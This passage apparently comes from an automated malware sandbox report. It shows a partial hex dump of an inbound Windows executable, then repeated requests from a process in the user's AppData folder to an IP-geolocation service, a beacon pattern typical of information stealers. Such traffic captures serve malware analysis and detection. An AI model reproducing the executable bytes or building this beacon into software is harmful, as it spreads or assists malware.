2024-07-01 18:06:08 UTC	630	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 92 c5 82 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 18 08 00 00 20 00 00 00 00 00 00 d6 34 08 00 00 20 00 00 00 40 08 00 00 00 40 00 00 20 00 00 00 08 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 08 00 00 08 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf0 4 @@ @
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 34 08 00 00 00 00 00 48 00 00 00 02 00 05 00 80 5f 00 00 4c 3a 00 00 03 00 00 00 38 00 00 06 cc 99 00 00 b8 9a 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 02 73 14 00 00 0a 7d 05 00 00 04 02 73 15 00 00 0a 7d 06 00 00 04 02 17 7d 07 00 00 04 02 28 16 00 00 0a 02 28 17 00 00 06 2a 00 13 30 03 00 ac 00 00 00 00 00 00 00 02 7b 05 00 00 04 02 7b 0d 00 00 04 6f 17 00 00 0a 28 18 00 00 0a 6f 19 00 00 0a 02 7b 05 00 00 04 6f 1a 00 00 0a 18 33 2f 02 02 7b 06 00 00 04 6f 1b 00 00 0a 7d 04 00 00 04 02 02 02 7b 04 00 00 04 28 04 00 00 Data Ascii: 4H_L:8s}s}}((*0{{o(o{o3/{o}{(
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 0d 00 00 04 6f 17 00 00 0a 1f 09 0a 12 00 28 21 00 00 0a 28 22 00 00 0a 6f 1f 00 00 0a 02 7b 21 00 00 04 25 6f 17 00 00 0a 1f 09 0a 12 00 28 21 00 00 0a 28 22 00 00 0a 6f 1f 00 00 0a 2a 00 00 13 30 03 00 44 00 00 00 01 00 00 11 02 7b 0d 00 00 04 02 7b 0d 00 00 04 6f 17 00 00 0a 16 0a 12 00 28 21 00 00 0a 28 22 00 00 0a 6f 1f 00 00 0a 02 7b 21 00 00 04 25 6f 17 00 00 0a 16 0a 12 00 28 21 00 00 0a 28 22 00 00 0a 6f 1f 00 00 0a 2a 13 30 03 00 c6 00 00 00 00 00 00 00 02 7b 05 00 00 04 02 7b 0d 00 00 04 6f 17 00 00 0a 28 18 00 00 0a 6f 19 00 00 0a 02 7b 05 00 00 04 6f 1a 00 00 0a 18 33 2f 02 02 7b 06 00 00 04 6f 1b 00 00 0a 7d 04 00 00 04 02 02 02 7b 04 00 00 04 28 04 00 00 06 7d 03 00 00 04 02 02 7b 03 00 00 04 28 03 00 00 06 02 7b 0d 00 00 04 6f 1c 00 00 0a Data Ascii: o(!("o{!%o(!("o0D{{o(!("o{!%o(!("o0{{o(o{o3/{o}{(}{({o
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 13 00 00 04 02 73 2e 00 00 0a 7d 14 00 00 04 02 73 2e 00 00 0a 7d 15 00 00 04 02 73 2e 00 00 0a 7d 16 00 00 04 02 73 2e 00 00 0a 7d 17 00 00 04 02 73 2e 00 00 0a 7d 18 00 00 04 02 73 2e 00 00 0a 7d 19 00 00 04 02 73 2e 00 00 0a 7d 1a 00 00 04 02 73 2e 00 00 0a 7d 1b 00 00 04 02 73 30 00 00 0a 7d 1c 00 00 04 02 73 31 00 00 0a 7d 1d 00 00 04 02 73 30 00 00 0a 7d 1e 00 00 04 02 73 30 00 00 0a 7d 1f 00 00 04 02 73 30 00 00 0a 7d 20 00 00 04 02 73 2f 00 00 0a 7d 21 00 00 04 02 7b 1c 00 00 04 6f 32 00 00 0a 02 7b 1d 00 00 04 6f 32 00 00 0a 02 7b 1e 00 00 04 6f 32 00 00 0a 02 7b 1f 00 00 04 6f 32 00 00 0a 02 7b 20 00 00 04 6f 32 00 00 0a 02 28 32 00 00 0a 02 7b 09 00 00 04 1e 1d 73 33 00 00 0a 6f 34 00 00 0a 02 7b 09 00 00 04 1e 1d 1e 1d 73 35 00 00 0a 6f 36 00 Data Ascii: s.}s.}s.}s.}s.}s.}s.}s.}s0}s1}s0}s0}s0} s/}!{o2{o2{o2{o2{ o2(2{s3o4{s5o6
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 02 7b 11 00 00 04 1e 6f 3a 00 00 0a 02 7b 11 00 00 04 72 b7 00 00 70 6f 1f 00 00 0a 02 7b 11 00 00 04 17 6f 3b 00 00 0a 02 7b 11 00 00 04 02 fe 06 0a 00 00 06 73 3c 00 00 0a 6f 3d 00 00 0a 02 7b 12 00 00 04 1e 20 af 00 00 00 73 33 00 00 0a 6f 34 00 00 0a 02 7b 12 00 00 04 1e 1d 1e 1d 73 35 00 00 0a 6f 36 00 00 0a 02 7b 12 00 00 04 72 bb 00 00 70 6f 37 00 00 0a 02 7b 12 00 00 04 1f 5b 1f 51 73 38 00 00 0a 6f 39 00 00 0a 02 7b 12 00 00 04 1f 09 6f 3a 00 00 0a 02 7b 12 00 00 04 72 cb 00 00 70 6f 1f 00 00 0a 02 7b 12 00 00 04 17 6f 3b 00 00 0a 02 7b 12 00 00 04 02 fe 06 0b 00 00 06 73 3c 00 00 0a 6f 3d 00 00 0a 02 7b 13 00 00 04 1f 73 20 af 00 00 00 73 33 00 00 0a 6f 34 00 00 0a 02 7b 13 00 00 04 1e 1d 1e 1d 73 35 00 00 0a 6f 36 00 00 0a 02 7b 13 00 00 04 72 Data Ascii: {o:{rpo{o;{s<o={ s3o4{s5o6{rpo7{[Qs8o9{o:{rpo{o;{s<o={s s3o4{s5o6{r
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 00 00 0a 02 7b 1b 00 00 04 1e 1d 1e 1d 73 35 00 00 0a 6f 36 00 00 0a 02 7b 1b 00 00 04 72 5b 01 00 70 6f 37 00 00 0a 02 7b 1b 00 00 04 20 93 00 00 00 1f 51 73 38 00 00 0a 6f 39 00 00 0a 02 7b 1b 00 00 04 1f 12 6f 3a 00 00 0a 02 7b 1b 00 00 04 72 67 01 00 70 6f 1f 00 00 0a 02 7b 1b 00 00 04 17 6f 3b 00 00 0a 02 7b 1b 00 00 04 02 fe 06 15 00 00 06 73 3c 00 00 0a 6f 3d 00 00 0a 02 7b 1c 00 00 04 6f 3e 00 00 0a 02 7b 15 00 00 04 6f 3f 00 00 0a 02 7b 1c 00 00 04 6f 3e 00 00 0a 02 7b 1a 00 00 04 6f 3f 00 00 0a 02 7b 1c 00 00 04 6f 3e 00 00 0a 02 7b 0b 00 00 04 6f 3f 00 00 0a 02 7b 1c 00 00 04 20 80 01 00 00 1f 69 73 33 00 00 0a 6f 34 00 00 0a 02 7b 1c 00 00 04 1e 1d 1e 1d 73 35 00 00 0a 6f 36 00 00 0a 02 7b 1c 00 00 04 72 71 01 00 70 6f 37 00 00 0a 02 7b 1c 00 Data Ascii: {s5o6{r[po7{ Qs8o9{o:{rgpo{o;{s<o={o>{o?{o>{o?{o>{o?{ is3o4{s5o6{rqpo7{
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 00 00 1d 73 33 00 00 0a 6f 34 00 00 0a 02 7b 21 00 00 04 1e 1d 1e 1d 73 35 00 00 0a 6f 36 00 00 0a 02 7b 21 00 00 04 72 e5 01 00 70 6f 37 00 00 0a 02 7b 21 00 00 04 20 71 01 00 00 1f 26 73 38 00 00 0a 6f 39 00 00 0a 02 7b 21 00 00 04 1f 18 6f 3a 00 00 0a 02 22 00 00 80 41 22 00 00 f8 41 73 4c 00 00 0a 28 4d 00 00 0a 02 17 28 4e 00 00 0a 02 20 3b 03 00 00 20 c0 01 00 00 73 38 00 00 0a 28 4f 00 00 0a 02 28 3e 00 00 0a 02 7b 21 00 00 04 6f 3f 00 00 0a 02 28 3e 00 00 0a 02 7b 20 00 00 04 6f 3f 00 00 0a 02 28 3e 00 00 0a 02 7b 1f 00 00 04 6f 3f 00 00 0a 02 28 3e 00 00 0a 02 7b 1e 00 00 04 6f 3f 00 00 0a 02 28 3e 00 00 0a 02 7b 1c 00 00 04 6f 3f 00 00 0a 02 28 3e 00 00 0a 02 7b 0d 00 00 04 6f 3f 00 00 0a 02 06 72 f7 01 00 70 6f 50 00 00 0a 74 37 00 00 01 28 51 Data Ascii: s3o4{!s5o6{!rpo7{! q&s8o9{!o:"A"AsL(M(N ; s8(O(>{!o?(>{ o?(>{o?(>{o?(>{o?(>{o?rpoPt7(Q
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 02 7b 2d 00 00 04 6f 17 00 00 0a 6f 62 00 00 0a 0a 02 7b 2d 00 00 04 06 6f 5c 00 00 0a 2a aa 02 7b 24 00 00 04 2c 13 04 6f 63 00 00 0a 02 7b 24 00 00 04 6f 63 00 00 0a 2e 01 2a 02 02 7b 2d 00 00 04 04 28 1f 00 00 06 2a 00 00 13 30 03 00 22 01 00 00 05 00 00 11 14 0a 16 0b 14 0c 14 0d 04 6f 63 00 00 0a 13 04 11 04 20 a1 00 00 00 30 2e 11 04 1f 10 30 0d 11 04 1e 2e 5f 11 04 1f 10 2e 59 2b 58 11 04 1f 25 59 19 36 4f 11 04 1f 2e 2e 49 11 04 20 a0 00 00 00 59 17 36 3e 2b 3d 11 04 20 c0 00 00 00 30 16 11 04 20 ba 00 00 00 2e 2a 11 04 20 bf 00 00 00 59 17 36 1f 2b 1e 11 04 20 db 00 00 00 59 1a 36 12 11 04 20 e2 00 00 00 2e 09 11 04 20 00 00 01 00 33 01 2a 03 6f 17 00 00 0a 0a 03 06 6f 64 00 00 0a 0b 07 16 3f 87 00 00 00 03 6f 65 00 00 0a 07 6f 66 00 00 0a 0c 03 Data Ascii: {-oob{-o\{$,oc{$oc.{-(0"oc 0.0._.Y+X%Y6O..I Y6>+= 0 . Y6+ Y6 . 3*ood?oeof
2024-07-01 18:06:08 UTC	1369	IN	Data Raw: 2a 00 00 04 20 95 00 00 00 20 e5 00 00 00 73 33 00 00 0a 6f 34 00 00 0a 02 7b 2a 00 00 04 1e 16 1e 16 73 35 00 00 0a 6f 36 00 00 0a 02 7b 2a 00 00 04 72 9b 04 00 70 6f 37 00 00 0a 02 7b 2a 00 00 04 16 1f 20 73 38 00 00 0a 6f 39 00 00 0a 02 7b 2a 00 00 04 1a 6f 3a 00 00 0a 02 7b 2b 00 00 04 17 6f 74 00 00 0a 02 7b 2b 00 00 04 1f 20 20 49 01 00 00 73 33 00 00 0a 6f 34 00 00 0a 02 7b 2b 00 00 04 1e 16 1e 16 73 35 00 00 0a 6f 36 00 00 0a 02 7b 2b 00 00 04 72 a9 04 00 70 6f 37 00 00 0a 02 7b 2b 00 00 04 1f 51 1f 20 73 38 00 00 0a 6f 39 00 00 0a 02 7b 2b 00 00 04 1b 6f 3a 00 00 0a 02 7b 2b 00 00 04 72 b7 04 00 70 6f 1f 00 00 0a 02 7b 2c 00 00 04 17 6f 74 00 00 0a 02 7b 2c 00 00 04 20 95 00 00 00 20 49 01 00 00 73 33 00 00 0a 6f 34 00 00 0a 02 7b 2c 00 00 04 1e Data Ascii: * s3o4{s5o6{rpo7{* s8o9{*o:{+ot{+ Is3o4{+s5o6{+rpo7{+Q s8o9{+o:{+rpo{,ot{, Is3o4{,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:16 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-01 18:06:16 UTC	710	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13137 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jEo2%2BvwMlARsNxjgDunSA8bcswE1d0VPkpwJJTHt8lcwE%2BwIgkAfUJKYG0cVamXvwlTVx1yJ218RrV5%2FNvVXEN12a1az8VVsodn3Y6cIVToKmsqO%2B1lK7qveyG20ANhPX9194i%2FS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c854374cbcc3f0-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:16 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:16 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-01 18:06:17 UTC	714	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13138 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDYqpHSB1JFGvh1y9I%2Fo74%2FmoeErqjl1lVzlvV6gKn%2FGmtaihFUZ9siQtzS95SfPWsbKMDgwyyayWwVxNH%2BjHXX7yeSiU%2BpCTlzMWgFB%2BTNxcu8zxT5EQ1KIen7psZbs29dw6R%2Bg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8543c5d4543c4-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:17 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:18 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-01 18:06:18 UTC	704	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13139 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iR8iHa6KkWEmCKJxz9n8T24w0TuH9L%2FpLFKym0fGvMGo723SumFD%2BYGngXCwJ8Tcmm2ruYBmo7lPAVio4EsdYobMZqKUYYR1vlnl8Ud9vX1g9lEFsqdHmJRfKNOtBS5HLgUNwVl8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c854462d790c84-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:19 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-01 18:06:19 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13140 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=43T3zv8Q1aaysuuCBIt3moD11kw5yB6HWyz46PEX5Q%2FnRswueXRLu3SodkM9v2JMawe64A7yGDgEXBEvu3paRmEz9GDK3%2Ffm6Yyz8mYW5T0v7kpXKNCB9%2FQrc%2F6L2LuJslzt8miI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8544d7c225e7a-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49172	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:21 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-01 18:06:22 UTC	714	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13143 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JaPtc6FEf%2BoUsHK%2Fi5Imy%2FlFV6uVxBp70fT%2F3YlurQGm8WkkyZ6EMpbTdUQjxOyinKyJYyMJm5fuLeI1uAYK%2FtMaOj2%2BkKkxNJEMYG4knjwIfmQm58CzYGHh%2FafVCostk8bU7okS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8545bbd0cc45c-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:22 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49174	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:23 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-01 18:06:23 UTC	712	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:23 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13144 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fa0WjLV7TgBE%2Bnld6DnKNvdMW6t3csmiMl%2FPdYaoZU5we7A8wzAU7QQnXNQvLHSTrd2Lkb7UFL3Mj4jXfxWiuj9uc%2B0hn1xGVU4cS8KGC7z81XtZGvkjK1wy4HOFwdDJ9n1pRP%2F%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c85463d9050f83-EWR alt-svc: h3=":443"; ma=86400
